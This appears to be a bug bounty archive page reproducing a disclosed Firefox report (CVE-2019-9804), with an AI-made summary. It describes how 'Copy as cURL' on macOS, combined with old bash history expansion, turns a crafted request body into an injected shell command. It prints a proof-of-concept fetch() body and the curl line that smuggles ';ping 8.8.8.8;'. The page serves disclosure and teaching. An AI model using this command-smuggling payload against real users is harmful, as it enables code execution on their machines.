Skip to content
RCE Disclosed report Intermediate CVE-2019-9804

RCE via "copy as curl" on mac

Firefox's 'Copy as cURL' feature on macOS generated a shell command that, when pasted into the terminal, could execute arbitrary commands due to a flaw in the old version of bash shipped with macOS. An attacker could craft a request body that, after copying as cURL, would run commands like ping when the user pasted the command.

potatoe Follow

Originally disclosed on Mozilla

  • Fixed in 13 days
  • Paid in 22 days
  • Disclosed after 13 days
Text
Created attachment 9034609
curl.zip

VULNERABILITY DETAILS
Copypasting of curl requests from Firefox can produce RCE in MacOS.

For example we have such JS code:
fetch('https://google.com', {'body':'\'!ls:q:gs|ls|;ping 8.8.8.8;|', method:'POST'})

If we will copy it as curl we will get such bash command:
curl 'https://google.com/' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'content-type: text/plain;charset=UTF-8' -H 'origin: null' -H 'DNT: 1' -H 'Connection: keep-alive' --data $'\'!ls:q:gs|ls|;ping 8.8.8.8;|'

The interesting part is here:
$'\'!ls:q:gs|ls|;ping 8.8.8.8;|'

It is calling following command:
ping 8.8.8.8

But how?
The problem that mac uses old bash, and there is lack of some updates. And current mac version of bash has a problem with bash history expansions.

Our bash command will be actually interpreted interesting if some of our previous commands contained 'ls'. So we will have such request:
curl 'https://google.com/' -H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0' -H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5' --compressed -H 'content-type: text/plain;charset=UTF-8' -H 'origin: null' -H 'DNT: 1' -H 'Connection: keep-alive' --data $'\'';ping 8.8.8.8;''

Interesting part is here:
$'\'';ping 8.8.8.8;''

So you see that here our string transformed into executable bash code.


WHATS HAPPEN
First of all when I found this, I asked to fix it bash team, but they told me that it is not a vulnerability at all, so there is no CVE, and that it is fixed in newer bash (it is true), and they won't fix it for old versions.
Okay, I sent this information to Apple, and they fixed it... But I was slow and didn't check there fix. But later I checked fix. And the fix was strange... They fixed Safari inspector. So it looks like Apple actually doesn't think that it is a problem in Bash as I inderstand.
So I am sending report to Firefox team.


VERSION
Works only in MacOS in any version of Firefox.


REPRODUCTION CASE
I attached archieve with video showcase and HTML file.

The original report as published on Mozilla's Bugzilla, by potatoe. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the old version of bash on macOS mishandles history expansion when parsing the $'...' quoting used by Firefox's cURL export, allowing embedded shell metacharacters to be executed.

What the attacker needed

MacOS with vulnerable bash; victim uses Firefox's Copy as cURL; victim pastes into terminal

The fix

The report does not state a fix for Firefox; the bash team said it is fixed in newer bash but would not fix old versions, and Apple's fix was for Safari inspector, not Firefox.

How it was found

  1. Visit a webpage that sends a crafted fetch request with a malicious body.
  2. Use Firefox's 'Copy as cURL' feature on that request.
  3. Paste the copied command into a terminal on macOS.
  4. The terminal executes the injected command (e.g., ping).

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When you use 'Copy as cURL' in Firefox, it creates a text command you can paste into a terminal to repeat a web request. On older Macs, the terminal program (bash) has a bug that can turn part of that command into extra commands you didn't intend. An attacker could make a website send a request with a special body so that, after you copy it as cURL and paste it, your computer runs harmful commands.

What is RCE?

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.